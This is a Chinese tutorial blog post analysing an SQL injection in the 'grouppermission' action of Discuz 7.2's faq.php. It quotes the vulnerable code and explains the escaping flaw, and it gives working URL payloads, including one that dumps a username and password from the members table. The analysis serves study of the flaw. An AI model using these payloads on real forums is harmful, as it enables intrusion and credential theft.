来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 影响范围是discuz7 2这样的老版本(小伙伴说7 x),其实使用量并不是特别大,但是不知道为什么感觉好多人都高潮了,各种人拿着工具无脑刷,意义不明。下了源码来简单分析了一下,...
影响范围是discuz7.2这样的老版本(小伙伴说7.x),其实使用量并不是特别大,但是不知道为什么感觉好多人都高潮了,各种人拿着工具无脑刷,意义不明。
下了源码来简单分析了一下,如下: POC: http://127.0.0.1/dz_7/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23
直接在faq.php文件里找到grouppermission elseif($action == 'grouppermission') { require_once './include/forum.func.php'; require_once language('misc'); $permlang = $language; unset($language); ...... ...... ...... ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); $groups = array();
代码中定义了一个groupids的数组,接着遍历了$gids,也就是poc中的gids[]可以看出它也是一个数组 然后$groupids[] = $row[0];将数组的第一个值放入groupids中,这个操作就造成了注入 因为在dz中,GET的数组都会被全局进行addslashes转义,把一些预定字符前加\,这本来没事,但是奇葩的是 $groupids[] = $row[0]; 这个赋值,只取第一个字符,也就罢转义字符取出了=。= 看看sql语句的处理,程序使用implodeids处理了$groupids 然后我们来看看他定义的implodeids 在../include/global.func.php中看到 function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; } }
功能是把数组分隔开,变成’f’,’u’,’c’,’k’这样 但是刚才我们说过,有一个转义字符被取出了,所以在进行implodeids处理的时候,一个正常的’被转义了=。= 变成’f’,’\’,’c’,’k’ 这样的话就造成后面一个单引号与被转移的前一个单引号闭合,c这里就是一个逃逸的单引号了,于是乎造成了注入,所以我们反观一下poc,把payload放到c这里,成功复现sqli exp: faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 一键无脑的工具就不写了,已经有人写了各种无脑刷了,呵呵,不知道这些拿着工具的人高潮什么 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com